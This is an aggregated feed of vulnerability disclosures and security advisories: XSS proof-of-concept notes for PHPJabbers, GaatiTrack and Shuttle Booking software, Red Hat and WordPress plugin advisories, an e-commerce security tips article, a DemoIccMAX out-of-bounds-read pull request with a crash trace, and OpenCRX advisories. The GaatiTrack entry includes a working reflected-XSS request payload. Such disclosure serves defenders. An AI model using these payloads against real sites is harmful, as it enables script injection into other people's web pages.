PHPJabbers Availability Booking Calendar version 5.0 suffers from multiple cross site scripting vulnerabilities.

    # Exploit Title: Multiple Cross Site Scripting in PHPJabbers AvailabilityBooking Calendar v5.0# Date: 12/11/2023# Exploit Author: BugsBD Security Researcher (Orpon)# Vendor Homepage: https://www.phpjabbers.com/# Software Link:https://www.phpjabbers.com/availability-booking-calendar/#sectionDemo# Version: v5.0# Tested on: Windows 10, Linux# CVE: CVE-2023-48208Description:PHPJabbers Availability Booking Calendar v5.0 is vulnerable to MultipleStored Cross-Site Scripting (XSS) vulnerabilities in the "name,plugin_sms_api_key, plugin_sms_country_code, uuid, title, country name"parameters of index.php page.Steps to Reproduce:1. Login your panel2. Go to System Menu then click SMS Settings.3. Then use any XSS Payload in "SMS API Key", "Default Country Code" inputfield and Save.4. You will see XSS pop up.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48208)

PHPJabbers Availability Booking Calendar 5.0 Cross Site Scripting

GaatiTrack Courier Management System version 1.0 suffers from multiple cross site scripting vulnerabilities.

    # Exploit Title: GaatiTrack Courier Management System v1.0 - MultipleCross-site scripting# Date: 12/112023# Exploit Author: BugsBD Security Researcher (Rahad Chowdhury)# Vendor Homepage: https://www.mayurik.com/# Software Link:https://www.mayurik.com/source-code/P0998/best-courier-management-system-project-in-php# Version: v1.0# Tested on: Windows 10, PHP 8.2.4, Apache 2.4.56# CVE: CVE-2023-48206Description:Multiple reflected cross-site scripting (XSS) vulnerability exists inlogin.php, header.php page of GaatiTrack Courier Management System v1.0that allows attackers to execute arbitrary web scripts or HTML via acrafted payload injected into the Website login page parameter.Steps to Reproduce:1. Go to login and capture request data using burp suite. Your request datawill be:GET /gaatitrack/login.php HTTP/1.1Host: 192.168.1.74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/119.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: closeCookie: PHPSESSID=abl1dci7hob2f90sf5ag9k00mpUpgrade-Insecure-Requests: 12. Now use XSS payload in login.php. So your request data will be:GET/gaatitrack/login.php?page=1</title><script>alert(document.domain)</script>HTTP/1.1Host: 192.168.1.74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/119.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: closeCookie: PHPSESSID=abl1dci7hob2f90sf5ag9k00mpUpgrade-Insecure-Requests: 13. Forward You request data and check browser. You will be popup withdomain.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48206)

GaatiTrack Courier Management System 1.0 Cross Site Scripting

Shuttle Booking Software version 2.0 suffers from multiple persistent cross site scripting vulnerabilities.

    # Exploit Title: Shuttle Booking Software v2.0 - Multiple Stored Cross-SiteScripting (Authenticated)# Date: 09/11/2023# Exploit Author: BugsBD Security Researcher (Rahad Chowdhury)# Vendor Homepage: https://www.phpjabbers.com/shuttle-booking-software/# Software Link: https://www.phpjabbers.com/shuttle-booking-software/# Version: v2.0# Tested on: Windows 10, Kali Linux# CVE: CVE-2023-48172Descriptions:Cross Site Scripting vulnerability in Shuttle Booking Software v.2.0 allowsa remote attacker to execute arbitrary code via the name, description,title and address parameters in the index.php page.Steps to Reproduce:1. At first login your panel.2. Then use any XSS Payload in "name, description, title and address"parameters in Location, Lines and Users menus.3. You will see XSS pop up.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48172)

Shuttle Booking Software 2.0 Cross Site Scripting

Red Hat Security Advisory 2023-6837-01 - Red Hat OpenShift Container Platform release 4.14.2 is now available with updates to packages and images that fix several bugs and add enhancements. Issues addressed include a cross site scripting vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6837.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: OpenShift Container Platform 4.14.2 bug fix and security update  
Advisory ID:        RHSA-2023:6837-01  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:6837  
Issue date:         2023-11-15  
Revision:           01  
CVE Names:          CVE-2023-3978  
====================================================================

Summary: 

Red Hat OpenShift Container Platform release 4.14.2 is now available with updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container Platform 4.14.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.

This advisory contains the container images for Red Hat OpenShift Container Platform 4.14.2. See the following advisory for the RPM packages for this release:

https://access.redhat.com/errata/RHSA-2023:6840

Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:

https://docs.openshift.com/container-platform/4.14/release_notes/ocp-4-14-release-notes.html

Security Fix(es):

* golang: net/http, x/net/http2: rapid stream resets can cause excessive  
work (CVE-2023-44487) (CVE-2023-39325)  
* golang.org/x/net/html: Cross site scripting (CVE-2023-3978)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

All OpenShift Container Platform 4.14 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.openshift.com/container-platform/4.14/updating/updating_a_cluster/updating-cluster-cli.html

Solution:

CVEs:

CVE-2023-3978

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003  
https://bugzilla.redhat.com/show_bug.cgi?id=2228689  
https://bugzilla.redhat.com/show_bug.cgi?id=2242803  
https://bugzilla.redhat.com/show_bug.cgi?id=2243296  
https://issues.redhat.com/browse/OCPBUGS-11689  
https://issues.redhat.com/browse/OCPBUGS-13926  
https://issues.redhat.com/browse/OCPBUGS-14439  
https://issues.redhat.com/browse/OCPBUGS-15044  
https://issues.redhat.com/browse/OCPBUGS-15791  
https://issues.redhat.com/browse/OCPBUGS-15809  
https://issues.redhat.com/browse/OCPBUGS-16145  
https://issues.redhat.com/browse/OCPBUGS-16267  
https://issues.redhat.com/browse/OCPBUGS-16341  
https://issues.redhat.com/browse/OCPBUGS-16409  
https://issues.redhat.com/browse/OCPBUGS-18650  
https://issues.redhat.com/browse/OCPBUGS-19371  
https://issues.redhat.com/browse/OCPBUGS-19789  
https://issues.redhat.com/browse/OCPBUGS-19845  
https://issues.redhat.com/browse/OCPBUGS-19897  
https://issues.redhat.com/browse/OCPBUGS-19922  
https://issues.redhat.com/browse/OCPBUGS-20051  
https://issues.redhat.com/browse/OCPBUGS-20222  
https://issues.redhat.com/browse/OCPBUGS-20418  
https://issues.redhat.com/browse/OCPBUGS-20480  
https://issues.redhat.com/browse/OCPBUGS-20495  
https://issues.redhat.com/browse/OCPBUGS-20508  
https://issues.redhat.com/browse/OCPBUGS-20522  
https://issues.redhat.com/browse/OCPBUGS-20552  
https://issues.redhat.com/browse/OCPBUGS-21653  
https://issues.redhat.com/browse/OCPBUGS-21785  
https://issues.redhat.com/browse/OCPBUGS-21859  
https://issues.redhat.com/browse/OCPBUGS-21926  
https://issues.redhat.com/browse/OCPBUGS-22127  
https://issues.redhat.com/browse/OCPBUGS-22172  
https://issues.redhat.com/browse/OCPBUGS-22177  
https://issues.redhat.com/browse/OCPBUGS-22187  
https://issues.redhat.com/browse/OCPBUGS-22208  
https://issues.redhat.com/browse/OCPBUGS-22257  
https://issues.redhat.com/browse/OCPBUGS-22314  
https://issues.redhat.com/browse/OCPBUGS-22377  
https://issues.redhat.com/browse/OCPBUGS-22379  
https://issues.redhat.com/browse/OCPBUGS-22391  
https://issues.redhat.com/browse/OCPBUGS-22400  
https://issues.redhat.com/browse/OCPBUGS-22651  
https://issues.redhat.com/browse/OCPBUGS-22690  
https://issues.redhat.com/browse/OCPBUGS-22702  
https://issues.redhat.com/browse/OCPBUGS-22718  
https://issues.redhat.com/browse/OCPBUGS-22727  
https://issues.redhat.com/browse/OCPBUGS-22758  
https://issues.redhat.com/browse/OCPBUGS-22898  
https://issues.redhat.com/browse/OCPBUGS-23006  
https://issues.redhat.com/browse/OCPBUGS-9959

Red Hat Security Advisory 2023-6837-01

The Audio Merchant plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.0.4. This is due to missing or incorrect nonce validation on the audio_merchant_save_settings function. This makes it possible for unauthenticated attackers to modify the plugin's settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

This record contains material that is subject to copyright.

**Copyright 2012-2023 Defiant Inc.**

**License:** Defiant hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute this software vulnerability information. Any copy of the software vulnerability information you make for such purposes is authorized provided that you include a hyperlink to this vulnerability record and reproduce Defiant's copyright designation and this license in any such copy. **Read more.**

**Copyright 1999-2023 The MITRE Corporation**

**License:** CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. **Read more.**

Have information to add, or spot any errors? Contact us at wfi-support@wordfence.com so we can make any appropriate adjustments.

CVE-2023-6197: Audio Merchant <= 5.0.4 - Cross-Site Request Forgery to Settings Modifcation and Stored Cross-Site Scripting — Wordfence Intelligence

Contributor+ Stored Cross-Site Scripting (XSS) vulnerability in Slider Revolution <= 6.6.14.

**Solution**

 Fixed

Update the WordPress Slider Revolution plugin to the latest available version (at least 6.6.15).

Found this useful? Thank Rafie Muhammad (Patchstack) for reporting this vulnerability. Buy a coffee ☕

Rafie Muhammad (Patchstack) discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Slider Revolution Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 6.6.15.

**Other vulnerabilities in this plugin**

 0 present

 8 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-47772: WordPress Slider Revolution plugin <= 6.6.14 - Cross Site Scripting (XSS) vulnerability - Patchstack

By Owais Sultan
E-commerce is a lucrative business, but it requires hard work and robust cybersecurity.
This is a post from HackRead.com Read the original post: Fortify Your Online Business – Security Tips for Starting an e-Commerce Website

From installing firewalls to choosing secure hosting, every aspect is crucial in online business.

Are you in the process of creating an e-commerce website? Many entrepreneurs choose to open online businesses because they can save a lot of money on overhead costs. But if you don’t have the proper security in place, it may cost you thousands of dollars to recover after a website breach. 

Every day, cybercriminals are finding new ways to hack into people’s business accounts to steal information and money. To help safeguard your online store, we’ve provided a guide on how to build a secure e-commerce website to protect your business from potential threats. 

****Choose a Trustworthy Platform to Build Your Website****

For people to buy your products and services, you must create a website where customers can order and pay for what they need. The top website builders will have a plethora of features to help you build a secure website for your customers, such as drag-and-drop tools and customizable templates. 

On the other hand, web builders must guarantee the safety of your customer’s information. The builder you choose must not steal information and sell it to third-party organizations. You should also choose a website builder with hosting services so your site loads faster. 

Choose a dedicated web hosting service that is more secure compared to sharing a server with other websites on the internet. 

****Utilize HTTPS for Your Site** **

Hypertext Transfer Protocol Secure (HTTPS) provides a secure and encrypted connection between a user’s browser and the website server. The encryption ensures that sensitive data like bank account details, credit card information, and addresses are protected from cybercriminals.  

What’s more, websites that have HTTPS addresses are recognized as being more trustworthy. It provides a padlock icon on your website’s URL that shows the user the site is secure and protected from threats. 

Using HTTPS can also boost your page ranking on search engines like Google because they prioritize sites with these credentials. 

Lastly, HTTPS requires a Secure Socket Layer Certificate (SSL) to transfer data securely. If your online business accepts card payments, then you must have an SSL certificate to remain compliant with Payment Card Industry Data Security Standards. 

****Utilize Web Application Firewalls****

E-commerce websites rely heavily on complex web applications such as SQL injections and cross-site scripting. However, these applications can have vulnerabilities. A Web Application Firewall (WAF) can give your website an extra layer of protection by detecting and blocking these threats to prevent breaches.  

When there are potential threats, you may have to temporarily shut down the website to protect your customers. This can be a costly exercise. But a Web Application Firewall can prevent website downtimes by filtering out malicious traffic that can cause your website to shut down.  

****Strong Password Policies** **

When you create your e-commerce website, you must administrate strong password policies for both your staff and customers. Encourage customers to create strong passwords that are at least 8 to 10 characters long using numbers, special characters, and capital letters. 

Furthermore, you should allow your customers to set up two-factor authentication so they can be notified if someone is trying to gain access to their accounts. Advise your customers not to use their names, ID numbers, or cell phone numbers to sign into the website. 

You can prevent users from creating weak passwords by not allowing them to go to the next stage of the sign-up process unless they meet the password policies. Or you can have a password generator on the site so users can automatically create secure passwords.  

****Update Your Website Regularly** **

Another way you can prevent cyber threats when creating an e-commerce website is to update your site and plugins regularly. There will be regular security patches that can address new vulnerabilities. These updates can include enhanced security measures to strengthen your website’s defences. 

Updating your website and plugins will ensure that your e-commerce business stays compliant with industry standards. It can also improve your website’s overall performance by fixing bugs and enhancing certain functionalities. This will improve the user’s experience whenever they visit your website. 

With a fast and secure website, your customers and visitors will feel more at ease, and it will provide a level of credibility to your online business. 

****Final Thoughts** **

Creating a professional e-commerce website is a long and complex process. If you’re not careful, you’ll create a site that’s easy for hackers to gain access to. 

But with the right tools, strategies, and knowledge, you can create a secure site that customers feel comfortable signing in to. Use the tips in this article to build a successful website that’s secure and trustworthy. 

****_RELATED ARTICLES_****

1.  **The Advantages of a More Secure and Safer Blockchain**
2.  **How To Make Drupal Migration Successful: 6 Useful Tips** 
3.  **How to Install Microsoft Exchange Updates with Reliability**
4.  **Casio’s Data Breach: Database Security a Major Challenge!**
5.  **PDF Security – How To Keep Sensitive Data Secure in a PDF File**

Fortify Your Online Business – Security Tips for Starting an e-Commerce Website

In International Color Consortium DemoIccMAX 3e7948b, CIccCLUT::Interp2d in IccTagLut.cpp in libSampleICC.a has an out-of-bounds read.

@maxderhak - Please reconsider this Pull Request given the recent Commit f184f38 does not address these issues in this proposed Patch for CIccCLUT::Interp2d and CIccCLUT::Interp3d.

**CIccCLUT::Interp2d Patch Summary**

*   This proposed CIccCLUT::Interp2d patch improves the safety and correctness of the Interp2d function in Commit f184f38.
*   The Patch for CIccCLUT::Interp2d addresses potential out-of-bounds memory access by implementing robust boundary checks and early exit in case of invalid conditions.
*   The patch for CIccCLUT::Interp2d enhances readability and maintainability by clearly defining index calculations and handling edge cases more effectively.

**Compare & Contrast**

The proposed patch for the CIccCLUT::Interp2d function introduces several modifications aimed at preventing heap overflow and ensuring robust interpolation. Compare and contrast these changes with the original function:

**Original Function**

1.  Boundary Handling:  
    The original function decreases ix and iy by 1 if they equal mx or my, respectively, and sets u or t to 1.0. This approach can potentially lead to incorrect interpolation near the edges.
2.  Index Calculation:  
    The calculation of indices (n000, n001, n010, n011) is implicit and assumes a specific layout of m\_pData without explicit boundary checks.
3.  Error Handling:  
    There is no explicit handling of out-of-bounds conditions except for adjusting ix, iy, u, and t.

**Proposed Patch**

1.  Boundary Handling:  
    The patch uses >= to check if ix and iy exceed mx - 1 and my - 1, respectively. This approach is more robust, preventing ix and iy from going out of bounds.
2.  Index Calculation:  
    The patch explicitly calculates indices for each corner of the interpolation square. This clarity helps understand and validate the indexing logic.  
    The addition of boundary checks (if (n000Index > maxValidIndex || ...)) is a significant improvement. It ensures that the function does not attempt to access m\_pData beyond its allocated size.
3.  Error Handling:  
    If an out-of-bounds condition is detected, the function fills destPixel with zeros and returns early. This is a safe fallback and prevents potential undefined behavior.

**Reproduction of Issue**

With Commit f184f38 the Issue may be Reproduced as follows:

    1. Build with Address Sanitizer
    2. Run Tests
    

**PoC**

    CalcTest %  ../iccApplyNamedCmm -debugcalc rgbExercise8bit.txt 0 1 calcExercizeOps.icc 1
    ...
    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x603400002420)
        frame #0: 0x000000010126bd97 libIccProfLib2.2.dylib`CIccCLUT::Interp2d(this=0x0000614000000040, destPixel=0x0000611000000a40, srcPixel=0x000060300000484c) const at IccTagLut.cpp:2454:10
       2451	  dF3 =  t*  u;
       2452
       2453	  for (i=0; i<m_nOutput; i++, p++) {
    -> 2454	    pv = p[n000]*dF0 + p[n001]*dF1 + p[n010]*dF2 + p[n011]*dF3;
       2455
       2456	    destPixel[i] = pv;
       2457	  }
    Target 0: (iccApplyNamedCmm) stopped.
    (lldb) fr va
    (CIccCLUT *) this = 0x0000614000000040
    (icFloatNumber *) destPixel = 0x0000611000000a40
    (const icFloatNumber *) srcPixel = 0x000060300000484c
    (icUInt8Number) mx = '\x01'
    (icUInt8Number) my = '\x01'
    (icFloatNumber) x = NaN
    (icFloatNumber) y = -1000.5
    (icUInt32Number) ix = 0
    (icUInt32Number) iy = 4294966296
    (icFloatNumber) u = NaN
    (icFloatNumber) t = -4.2949673E+9
    (icFloatNumber) nt = 4.2949673E+9
    (icFloatNumber) nu = NaN
    (int) i = 0
    (icFloatNumber *) p = 0x0000603400002420
    (icFloatNumber) dF0 = NaN
    (icFloatNumber) dF1 = NaN
    (icFloatNumber) dF2 = NaN
    (icFloatNumber) dF3 = NaN
    (icFloatNumber) pv = 4.59051364E-41
    (lldb) bt
    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x603400002420)
      * frame #0: 0x000000010126bd97 libIccProfLib2.2.dylib`CIccCLUT::Interp2d(this=0x0000614000000040, destPixel=0x0000611000000a40, srcPixel=0x000060300000484c) const at IccTagLut.cpp:2454:10
        frame #1: 0x0000000101076099 libIccProfLib2.2.dylib`CIccMpeCLUT::Apply(this=0x0000603000004330, pApply=0x0000603000004720, dstPixel=0x0000611000000a40, srcPixel=0x000060300000484c) const at IccMpeBasic.cpp:5665:12
        frame #2: 0x00000001010c6435 libIccProfLib2.2.dylib`CIccApplyMpe::Apply(this=0x0000603000004720, pDestPixel=0x0000611000000a40, pSrcPixel=0x000060300000484c) at IccTagMPE.h:213:84
        frame #3: 0x00000001010c62e0 libIccProfLib2.2.dylib`CIccSubCalcApply::Apply(this=0x00006020000010b0, pDestPixel=0x0000611000000a40, pSrcPixel=0x000060300000484c) at IccMpeCalc.h:432:99
        frame #4: 0x00000001010c5f69 libIccProfLib2.2.dylib`CIccOpDefSubElement::Exec(this=0x0000602000000690, op=0x00000001000cdc28, os=0x00007ff7bfef7b60) at IccMpeCalc.cpp:374:17
        frame #5: 0x00000001010ac97d libIccProfLib2.2.dylib`CIccCalculatorFunc::ApplySequence(this=0x00006030000043c0, pApply=0x0000608000000a20, nOps=40670, ops=0x00000001000c3800) const at IccMpeCalc.cpp:3663:21
        frame #6: 0x00000001010ad378 libIccProfLib2.2.dylib`CIccCalculatorFunc::Apply(this=0x00006030000043c0, pApply=0x0000608000000a20) const at IccMpeCalc.cpp:3690:8
        frame #7: 0x00000001010b891d libIccProfLib2.2.dylib`CIccMpeCalculator::Apply(this=0x0000606000000e00, pApply=0x0000608000000a20, pDestPixel=0x00007ff7bfefe930, pSrcPixel=0x00007ff7bfefe750) const at IccMpeCalc.cpp:4797:22
        frame #8: 0x00000001010c6435 libIccProfLib2.2.dylib`CIccApplyMpe::Apply(this=0x0000608000000a20, pDestPixel=0x00007ff7bfefe930, pSrcPixel=0x00007ff7bfefe750) at IccTagMPE.h:213:84
        frame #9: 0x00000001012aee00 libIccProfLib2.2.dylib`CIccTagMultiProcessElement::Apply(this=0x00006070000005d0, pApply=0x0000606000000f20, pDestPixel=0x00007ff7bfefe930, pSrcPixel=0x00007ff7bfefe750) const at IccTagMPE.cpp:1467:15
        frame #10: 0x0000000100fa1403 libIccProfLib2.2.dylib`CIccXformMpe::Apply(this=0x000060e000003ca0, pApply=0x0000604000002550, DstPixel=0x00007ff7bfefe930, SrcPixel=0x00007ff7bfefe750) const at IccCmm.cpp:7324:9
        frame #11: 0x0000000100fbd1bc libIccProfLib2.2.dylib`CIccApplyNamedColorCmm::Apply(this=0x0000604000002510, DstPixel=0x00007ff7bfefe930, SrcPixel=0x00007ff7bfefe750) at IccCmm.cpp:9511:18
        frame #12: 0x0000000100fb1e1d libIccProfLib2.2.dylib`CIccCmm::Apply(this=0x00007ff7bfefe2e0, DstPixel=0x00007ff7bfefe930, SrcPixel=0x00007ff7bfefe750) at IccCmm.cpp:8481:20
        frame #13: 0x000000010000bbb7 iccApplyNamedCmm`CIccNamedColorCmm::Apply(this=0x00007ff7bfefe2e0, DstPixel=0x00007ff7bfefe930, SrcPixel=0x00007ff7bfefe750) at IccCmm.h:1769:95
        frame #14: 0x000000010000997a iccApplyNamedCmm`main(argc=6, argv=0x00007ff7bfeff5a8) at iccApplyNamedCmm.cpp:483:30
        frame #15: 0x00007ff806f533a6 dyld`start + 1942
    

**CIccCLUT::Interp2d Expected Output with this Patch**

     CalcTest %  ../iccApplyNamedCmm -debugcalc rgbExercise8bit.txt 0 1 calcExercizeOps.icc 1
    ...
    End Calculator Apply
    
       0.9505    1.0000    1.0891 	;  255.0000  255.0000  255.0000
    

**CIccCLUT::Interp2d Testing**

This Patch for CIccCLUT::Interp2d has completed all applicable Tests contain within the Project. Additionally, the function has been Fuzzed with a wide range of well-known input and has passed a well-defined range of Unit Tests to be a merge candidate.

**CIccCLUT::Interp3d Patch Summary**

*   This PR Patch for CIccCLUT::Interp2d and Interp3d in IccTagLut.cpp #58 also addresses the same Issues described above.

Please consider Merging this PR to address Boundary Handling, Index Calculations and Error Handling in these 2 functions/

CVE-2023-48736: Patch for CIccCLUT::Interp2d and Interp3d in IccTagLut.cpp by xsscx · Pull Request #58 · InternationalColorConsortium/DemoIccMAX

OpenCRX version 5.2.0 is vulnerable to HTML injection via Activity Saved Search Creation.

**Cross-site Scripting in OpenCRX**

Moderate severity GitHub Reviewed Published Nov 18, 2023 to the GitHub Advisory Database • Updated Nov 20, 2023

GHSA-5phw-6g3r-55xx: Cross-site Scripting in OpenCRX

OpenCRX version 5.2.0 is vulnerable to HTML injection via the Category Creation Name Field.

Tag

#xss